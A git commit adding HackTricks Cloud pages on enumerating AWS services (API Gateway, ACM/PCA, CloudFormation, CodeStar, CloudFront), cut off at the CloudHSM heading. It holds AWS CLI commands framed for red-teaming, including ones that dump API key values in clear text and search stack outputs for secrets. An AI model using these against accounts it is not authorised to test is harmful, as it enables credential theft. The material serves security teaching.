Recreating repository history for branch master

This commit is contained in:
Carlos Polop
2024-12-12 19:35:48 +01:00
commit 5ef56bb6b3
1076 changed files with 67158 additions and 0 deletions

View File

@@ -0,0 +1,57 @@
# AWS - Services
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Types of services
### Container services
Services that fall under container services have the following characteristics:
* The service itself runs on **separate infrastructure instances**, such as EC2.
* **AWS** is responsible for **managing the operating system and the platform**.
* A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**.
* As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**.
* Also, platform-level identity and access management where it exists.
* **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
### Abstract Services
* These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**.
* The services are accessed via endpoints using AWS application programming interfaces, APIs.
* The **underlying infrastructure, operating system, and platform is managed by AWS**.
* The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared.
* **Data is isolated via security mechanisms**.
* Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS.
## Services Enumeration
**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,323 @@
# AWS - API Gateway Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## API Gateway
### Basic Information
AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application.
API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications.
### API Gateways Types
* **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends.
* **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services.
* **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services.
* **REST API Private**: Create a REST API that is only accessible from within a VPC.
### API Gateway Main Components
1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and correspond to the various actions that your API supports. A resource is each method (e.g., GET, POST, PUT, DELETE) **inside each path** (/, or /users, or /user/{id}.
2. **Stages**: Stages in API Gateway represent **different versions or environments** of your API, such as development, staging, or production. You can use stages to manage and deploy **multiple versions of your API simultaneousl**y, allowing you to test new features or bug fixes without affecting the production environment. Stages also **support stage variables**, which are key-value pairs that can be used to configure the behavior of your API based on the current stage. For example, you could use stage variables to direct API requests to different Lambda functions or other backend services depending on the stage.
* The stage is indicated at the beggining of the URL of the API Gateway endpoint.
3. **Authorizers**: Authorizers in API Gateway are responsible for **controlling access to your API** by verifying the identity of the caller before allowing the request to proceed. You can use **AWS Lambda functions** as custom authorizers, which allows you to implement your own authentication and authorization logic. When a request comes in, API Gateway passes the request's authorization token to the Lambda authorizer, which processes the token and returns an IAM policy that determines what actions the caller is allowed to perform. API Gateway also supports **built-in authorizers**, such as **AWS Identity and Access Management (IAM)** and **Amazon Cognito**.
4. **Resource Policy**: A resource policy in API Gateway is a JSON document that **defines the permissions for accessing your API**. It is similar to an IAM policy but specifically tailored for API Gateway. You can use a resource policy to control who can access your API, which methods they can call, and from which IP addresses or VPCs they can connect. **Resource policies can be used in combination with authorizers** to provide fine-grained access control for your API.
* In order to make effect the API needs to be **deployed again after** the resource policy is modified.
### Logging
By default, **CloudWatch Logs** are **off**, **Access Logging** is **off**, and **X-Ray tracing** is also **off**.
### Enumeration
{% hint style="success" %}
Note that in both AWS apis to enumerate resources (**`apigateway`** and **`apigatewayv2`**) the only permission you need and the only read permission grantable is **`apigateway:GET`**, with that you can **enumerate everything.**
{% endhint %}
{% tabs %}
{% tab title="apigateway" %}
```bash
# Generic info
aws apigateway get-account
aws apigateway get-domain-names
aws apigateway get-usage-plans
aws apigateway get-vpc-links
aws apigateway get-client-certificates
# Enumerate APIs
aws apigateway get-rest-apis # This will also show the resource policy (if any)
## Get stages
aws apigateway get-stages --rest-api-id <id>
## Get resources
aws apigateway get-resources --rest-api-id <id>
## Get API resource action per HTTP verb (check authorizers and api key required)
aws apigateway get-method --http-method GET --rest-api-id <api-id> --resource-id <resource-id>
## Call API
https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
## API authorizers
aws apigateway get-authorizers --rest-api-id <id>
## Models
aws apigateway get-models --rest-api-id <id>
## More info
aws apigateway get-gateway-responses --rest-api-id <id>
aws apigateway get-request-validators --rest-api-id <id>
aws apigateway get-deployments --rest-api-id <id>
# Get api keys generated
aws apigateway get-api-keys --include-value
aws apigateway get-api-key --api-key <id> --include-value # Get just 1
## Example use API key
curl -X GET -H "x-api-key: AJE&Ygenu4[..]" https://e83uuftdi8.execute-api.us-east-1.amazonaws.com/dev/test
## Usage plans
aws apigateway get-usage-plans #Get limit use info
aws apigateway get-usage-plan-keys --usage-plan-id <plan_id> #Get clear text values of api keys
aws apigateway get-usage-plan-key --usage-plan-id <plan_id> --key-id <key_id>
###Already consumed
aws apigateway get-usage --usage-plan-id <plan_id> --start-date 2023-07-01 --end-date 2023-07-12
```
{% endtab %}
{% tab title="apigatewayv2" %}
```bash
# Generic info
aws apigatewayv2 get-domain-names
aws apigatewayv2 get-domain-name --domain-name <name>
aws apigatewayv2 get-vpc-links
# Enumerate APIs
aws apigatewayv2 get-apis # This will also show the resource policy (if any)
aws apigatewayv2 get-api --api-id <id>
## Get all the info from an api at once
aws apigatewayv2 export-api --api-id <id> --output-type YAML --specification OAS30 /tmp/api.yaml
## Get stages
aws apigatewayv2 get-stages --api-id <id>
## Get routes
aws apigatewayv2 get-routes --api-id <id>
aws apigatewayv2 get-route --api-id <id> --route-id <route-id>
## Get deployments
aws apigatewayv2 get-deployments --api-id <id>
aws apigatewayv2 get-deployment --api-id <id> --deployment-id <dep-id>
## Get integrations
aws apigatewayv2 get-integrations --api-id <id>
## Get authorizers
aws apigatewayv2 get-authorizers --api-id <id>
aws apigatewayv2 get-authorizer --api-id <id> --authorizer-id <uth-id>
## Get domain mappings
aws apigatewayv2 get-api-mappings --api-id <id> --domain-name <dom-name>
aws apigatewayv2 get-api-mapping --api-id <id> --api-mapping-id <map-id> --domain-name <dom-name>
## Get models
aws apigatewayv2 get-models --api-id <id>
## Call API
https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
```
{% endtab %}
{% endtabs %}
## Different Authorizations to access API Gateway endpoints
### Resource Policy
It's possible to use resource policies to define who could call the API endpoints.\
In the following example you can see that the **indicated IP cannot call** the endpoint `/resource_policy` via GET.
<figure><img src="../../../.gitbook/assets/image (256).png" alt=""><figcaption></figcaption></figure>
### IAM Authorizer
It's possible to set that a methods inside a path (a resource) requires IAM authentication to call it.
<figure><img src="https://lh3.googleusercontent.com/GGx-kfqNXu6zMqGidnO8_eR88fYPpJG-wNuBBnedAJntiRUEPTEScl7OvWthGYRiI_msYCdC6oBFvJc827Tb4-4UogxpOyrEXyst-8IDzP9DC2NOtXSY7w58L0baCAcBQjSyvBhJREvWWCtiboNYPSKuEw=s2048" alt=""><figcaption></figcaption></figure>
When this is set you will receive the error `{"message":"Missing Authentication Token"}` when you try to reach the endpoint without any authorization.
One easy way to generate the expected token by the application is to use **curl**.
```bash
$ curl -X <method> https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource> --user <AWS_ACCESS_KEY>:<AWS_SECRET_KEY> --aws-sigv4 "aws:amz:<region>:execute-api"
```
Another way is to use the **`Authorization`** type **`AWS Signature`** inside **Postman**.
<figure><img src="../../../.gitbook/assets/image (168).png" alt=""><figcaption></figcaption></figure>
Set the accessKey and the SecretKey of the account you want to use and you can know authenticate against the API endpoint.
Both methods will generate an **Authorization** **header** such as:
```
AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2
```
Note that in other cases the **Authorizer** might have been **bad coded** and just sending **anything** inside the **Authorization header** will **allow to see the hidden content**.
### Request Signing Using Python
```python
pip install requests
pip install requests-aws4auth
pip install boto3
import boto3
import requests
from requests_aws4auth import AWS4Auth
region = 'us-east-1' # Region
service = 'execute-api'
access_key = 'YOUR_ACCESS_KEY'
secret_key = 'YOUR_SECRET_KEY'
url = 'https://<apiid>.execute-api.us-east-1.amazonaws.com/<stage>/<resource>'
session = boto3.Session(aws_access_key_id=access_key, aws_secret_access_key=secret_key)
credentials = session.get_credentials()
awsauth = AWS4Auth(credentials.access_key, credentials.secret_key, region, service, session_token=credentials.token)
response = requests.get(url, auth=awsauth)
print(response.text)
```
### Custom Lambda Authorizer
It's possible to use a lambda that based in a given token will **return an IAM policy** indicating if the user is **authorized to call the API endpoint**.\
You can set each resource method that will be using the authoriser.
<details>
<summary>Lambda Authorizer Code Example</summary>
```python
import json
def lambda_handler(event, context):
token = event['authorizationToken']
method_arn = event['methodArn']
if not token:
return {
'statusCode': 401,
'body': 'Unauthorized'
}
try:
# Replace this with your own token validation logic
if token == "your-secret-token":
return generate_policy('user', 'Allow', method_arn)
else:
return generate_policy('user', 'Deny', method_arn)
except Exception as e:
print(e)
return {
'statusCode': 500,
'body': 'Internal Server Error'
}
def generate_policy(principal_id, effect, resource):
policy = {
'principalId': principal_id,
'policyDocument': {
'Version': '2012-10-17',
'Statement': [
{
'Action': 'execute-api:Invoke',
'Effect': effect,
'Resource': resource
}
]
}
}
return policy
```
</details>
Call it with something like:
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>curl "https://jhhqafgh6f.execute-api.eu-west-1.amazonaws.com/prod/custom_auth" -H 'Authorization: your-secret-token'
</strong></code></pre>
{% hint style="warning" %}
Depending on the Lambda code, this authorization might be vulnerable
{% endhint %}
Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}`
This way you could **identify this authorization** being in place.
### Required API Key
It's possible to set API endpoints that **require a valid API key** to contact it.
<figure><img src="../../../.gitbook/assets/image (88).png" alt=""><figcaption></figcaption></figure>
It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month).
To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key:
<figure><img src="../../../.gitbook/assets/image (198).png" alt=""><figcaption></figcaption></figure>
## Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md" %}
[aws-api-gateway-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
{% endcontent-ref %}
## Privesc
{% content-ref url="../aws-privilege-escalation/aws-apigateway-privesc.md" %}
[aws-apigateway-privesc.md](../aws-privilege-escalation/aws-apigateway-privesc.md)
{% endcontent-ref %}
## Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-api-gateway-post-exploitation.md" %}
[aws-api-gateway-post-exploitation.md](../aws-post-exploitation/aws-api-gateway-post-exploitation.md)
{% endcontent-ref %}
## Persistence
{% content-ref url="../aws-persistence/aws-api-gateway-persistence.md" %}
[aws-api-gateway-persistence.md](../aws-persistence/aws-api-gateway-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,87 @@
# AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**.
A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services.
**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization.
## Enumeration
### ACM
```bash
# List certificates
aws acm list-certificates
# Get certificate info
aws acm describe-certificate --certificate-arn <arn> # Check "InUseBy" to check which resources are using it
# Get certificate data
aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:certificate/865abced-82c9-43bf-b7d2-1f4948bf353d"
# Account configuration
aws acm get-account-configuration
```
### PCM
```bash
# List CAs
aws acm-pca list-certificate-authorities
# Get CA info
aws acm-pca describe-certificate-authority --certificate-authority-arn <arn>
# Get CA Permissions
aws acm-pca list-permissions --certificate-authority-arn <arn>
# Get CA certificate
aws acm-pca get-certificate-authority-certificate --certificate-authority-arn <arn>
# Certificate request
aws acm-pca get-certificate-authority-csr --certificate-authority-arn <arn>
# Get CA Policy (if any)
aws acm-pca get-policy --resource-arn <arn>
```
## Privesc
TODO
## Post Exploitation
TODO
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,101 @@
# AWS - CloudFormation & Codestar Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## CloudFormation
AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure.
### Enumeration
```bash
# Stacks
aws cloudformation list-stacks
aws cloudformation describe-stacks # You could find sensitive information here
aws cloudformation list-stack-resources --stack-name <name>
aws cloudformation get-template --stack-name cloudformationStack
aws cloudformation describe-stack-events --stack-name cloudformationStack
## Show params and outputs
aws cloudformation describe-stacks | jq ".Stacks[] | .StackId, .StackName, .Parameters, .Outputs"
# Export
aws cloudformation list-exports
aws cloudformation list-imports --export-name <x_name>
# Stack Sets
aws cloudformation list-stack-sets
aws cloudformation describe-stack-set --stack-set-name <name>
aws cloudformation list-stack-instances --stack-set-name <name>
aws cloudformation list-stack-set-operations --stack-set-name <name>
aws cloudformation list-stack-set-operation-results --stack-set-name <name> --operation-id <id>
```
### Privesc
In the following page you can check how to **abuse cloudformation permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-cloudformation-privesc/" %}
[aws-cloudformation-privesc](../aws-privilege-escalation/aws-cloudformation-privesc/)
{% endcontent-ref %}
### Post-Exploitation
Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation
## Codestar
AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members).
### Enumeration
```bash
# Get projects information
aws codestar list-projects
aws codestar describe-project --id <project_id>
aws codestar list-resources --project-id <project_id>
aws codestar list-team-members --project-id <project_id>
aws codestar list-user-profiles
aws codestar describe-user-profile --user-arn <arn>
```
### Privesc
In the following page you can check how to **abuse codestar permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-codestar-privesc/" %}
[aws-codestar-privesc](../aws-privilege-escalation/aws-codestar-privesc/)
{% endcontent-ref %}
## References
* [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,70 @@
# AWS - CloudFront Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## CloudFront
CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3.
The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**.
**By default cookie logging is disabled** but you can enable it.
### Functions
You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS).
As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature.
### Enumeration
```bash
aws cloudfront list-distributions
aws cloudfront get-distribution --id <id> # Just get 1
aws cloudfront get-distribution-config --id <id>
aws cloudfront list-functions
aws cloudfront get-function --name TestFunction function_code.js
aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME"
```
## Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md" %}
[aws-cloudfront-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
{% endcontent-ref %}
## Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-cloudfront-post-exploitation.md" %}
[aws-cloudfront-post-exploitation.md](../aws-post-exploitation/aws-cloudfront-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,93 @@
# AWS - CloudHSM Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## HSM - Hardware Security Module
